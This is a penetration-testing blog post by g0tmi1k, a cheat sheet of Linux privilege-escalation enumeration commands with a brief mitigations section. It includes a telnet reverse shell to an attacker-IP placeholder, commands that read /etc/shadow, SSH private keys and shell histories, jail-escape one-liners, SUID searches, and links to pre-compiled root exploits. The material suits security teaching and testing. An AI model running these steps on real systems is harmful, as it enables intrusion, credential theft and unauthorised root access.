Hat tip to g0tmi1k for authoring one of the best basic Linux privilege escalation compilations ever.


Operating System

What’s the distribution type? What version?

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cat /etc/issue

cat /etc/*-release

cat /etc/lsb-release     # Debian based

cat /etc/redhat-release   # Redhat based

What’s the kernel version? Is it 64-bit?

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cat /proc/version

uname -a

uname -mrs

rpm -q kernel

dmesg | grep Linux

ls /boot | grep vmlinuz-

What can be learnt from the environmental variables?

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cat /etc/profile

cat /etc/bashrc

cat ~/.bash_profile

cat ~/.bashrc

cat ~/.bash_logout

env

set

Is there a printer?

1 lpstat -a

Applications & Services

What services are running? Which service has which user privilege?

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ps aux

ps -ef

top

cat /etc/services

Which service(s) are been running by root? Of these services, which are vulnerable – it’s worth a double check!

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ps aux | grep root

ps -ef | grep root

What applications are installed? What version are they? Are they currently running?

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ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

rpm -qa

ls -alh /var/cache/apt/archivesO

ls -alh /var/cache/yum/

Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

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cat /etc/syslog.conf

cat /etc/chttp.conf

cat /etc/lighttpd.conf

cat /etc/cups/cupsd.conf

cat /etc/inetd.conf

cat /etc/apache2/apache2.conf

cat /etc/my.conf

cat /etc/httpd/conf/httpd.conf

cat /opt/lampp/etc/httpd.conf

ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/

What jobs are scheduled?

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crontab -l

ls -alh /var/spool/cron

ls -al /etc/ | grep cron

ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root

Any plain text usernames and/or passwords?

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grep -i user [filename]

grep -i pass [filename]

grep -C 5 “password” [filename]

find . -name “*.php” -print0 | xargs -0 grep -i -n “var $password”   # Joomla

Communications & Networking

What NIC(s) does the system have? Is it connected to another network?

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/sbin/ifconfig -a

cat /etc/network/interfaces

cat /etc/sysconfig/network

What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?

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cat /etc/resolv.conf

cat /etc/sysconfig/network

cat /etc/networks

iptables -L

hostname

dnsdomainname

What other users & hosts are communicating with the system?

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lsof -i

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig –list

chkconfig –list | grep 3:on

last

w

Whats cached? IP and/or MAC addresses

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arp -e

route

/sbin/route -nee

Is packet sniffing possible? What can be seen? Listen to live traffic

1 tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

Note: tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

Have you got a shell? Can you interact with the system?

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nc -lvp 4444   # Attacker. Input (Commands)

nc -lvp 4445   # Attacker. Ouput (Results)

telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445   # On the targets system. Use the attackers IP!

Note: http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

Is port forwarding possible? Redirect and interact with traffic from another view

Note: http://www.boutell.com/rinetd/

Note: http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

Note: http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

Note: FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

1 FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

Note: ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

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ssh -L 8080:127.0.0.1:80 root@192.168.1.7   # Local Port

ssh -R 8080:127.0.0.1:80 root@192.168.1.7   # Remote Port

Note: mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

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mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe   # Port Relay

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe   # Proxy (Port 80 to 8080)

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe   # Proxy monitor (Port 80 to 8080)

Is tunnelling possible? Send commands locally, remotely

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ssh -D 127.0.0.1:9050 -N [username]@[ip]

proxychains ifconfig

Confidential Information & Users

Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?

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id

who

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last

cat /etc/passwd | cut -d:   # List of users

grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 { print $1}’   # List of super users

awk -F: ‘($3 == “0”) {print}’ /etc/passwd   # List of super users

cat /etc/sudoers

sudo -l

What sensitive files can be found?

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cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

Anything “interesting” in the home directorie(s)? If it’s possible to access

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ls -ahlR /root/

ls -ahlR /home/

Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords

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cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

What has the user being doing? Is there any password in plain text? What have they been edting?

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cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

cat ~/.php_history

What user information can be found?

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cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root

Can private-key information be found?

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cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key

File Systems

Which configuration files can be written in /etc/? Able to reconfigure a service?

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ls -aRl /etc/ | awk ‘$1 ~ /^.*w.*/’ 2>/dev/null     # Anyone

ls -aRl /etc/ | awk ‘$1 ~ /^..w/’ 2>/dev/null       # Owner

ls -aRl /etc/ | awk ‘$1 ~ /^…..w/’ 2>/dev/null   # Group

ls -aRl /etc/ | awk ‘$1 ~ /w.$/’ 2>/dev/null       # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

What can be found in /var/ ?

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ls -alh /var/log

ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

Any settings/files (hidden) on website? Any settings file with database information?

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ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/

Is there anything in the log file(s) (Could help with “Local File Includes”!)

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cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

Note: http://www.thegeekstuff.com/2011/08/linux-var-log-files/

If commands are limited, you break out of the “jail” shell?

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python -c ‘import pty;pty.spawn(“/bin/bash”)’

echo os.system(‘/bin/bash’)

/bin/sh -i

How are file-systems mounted?

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mount

df -h

Are there any unmounted file-systems?

1 cat /etc/fstab

What “Advanced Linux File Permissions” are used? Sticky bits, SUID & GUID

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find / -perm -1000 -type d 2>/dev/null   # Sticky bit – Only the owner of the directory or the owner of a file can delete or rename here.

find / -perm -g=s -type f 2>/dev/null   # SGID (chmod 2000) – run as the group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null   # SUID (chmod 4000) – run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null   # SGID or SUID

for i in `locate -r “bin$”`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done   # Looks in ‘common’ places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

Where can written to and executed from? A few ‘common’ places: /tmp, /var/tmp, /dev/shm

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find / -writable -type d 2>/dev/null     # world-writeable folders

find / -perm -222 -type d 2>/dev/null     # world-writeable folders

find / -perm -o w -type d 2>/dev/null     # world-writeable folders

find / -perm -o x -type d 2>/dev/null     # world-executable folders

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

Any “problem” files? Word-writeable, “nobody” files

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find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files

find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

Preparation & Finding Exploit Code

What development tools/languages are installed/supported?

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find / -name perl*

find / -name python*

find / -name gcc*

find / -name cc

How can files be uploaded?

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find / -name wget

find / -name nc*

find / -name netcat*

find / -name tftp*

find / -name ftp

Finding exploit code

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

Finding more information regarding the exploit

http://www.cvedetails.com

http://packetstormsecurity.org/files/cve/[CVE]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]

http://www.vulnview.com/cve-details.php?cvename=[CVE]

(Quick) “Common” exploits. Warning. Pre-compiled binaries files. Use at your own risk

http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/

http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/

Mitigations

Is any of the above information easy to find?

Try doing it! Setup a cron job which automates script(s) and/or 3rd party products

Is the system fully patched?

Kernel, operating system, all applications, their plugins and web services

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apt-get update && apt-get upgrade

yum update

Are services running with the minimum level of privileges required?

For example, do you need to run MySQL as root?

Scripts Can any of this be automated?!

http://pentestmonkey.net/tools/unix-privesc-check/

http://labs.portcullis.co.uk/application/enum4linux/

http://bastille-linux.sourceforge.net

Other (quick) guides & Links

Enumeration

http://www.0daysecurity.com/penetration-testing/enumeration.html

http://www.microloft.co.uk/hacking/hacking3.htm

Misc

http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf

http://pentest.cryptocity.net/files/operations/2009/post_exploitation_fall09.pdf

http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html

Posted by g0tmi1kAug 2nd, 2011 12:00 am bypassing, commands, privilege escalation

« Pentesting With BackTrack (PWB) & Offensive Security Certified Professional (OSCP) De-ICE.net v1.2a (1.20a) {Level 1 – Disk 3 – Version A} »

Copyright © 2009-2015 – g0tmi1k

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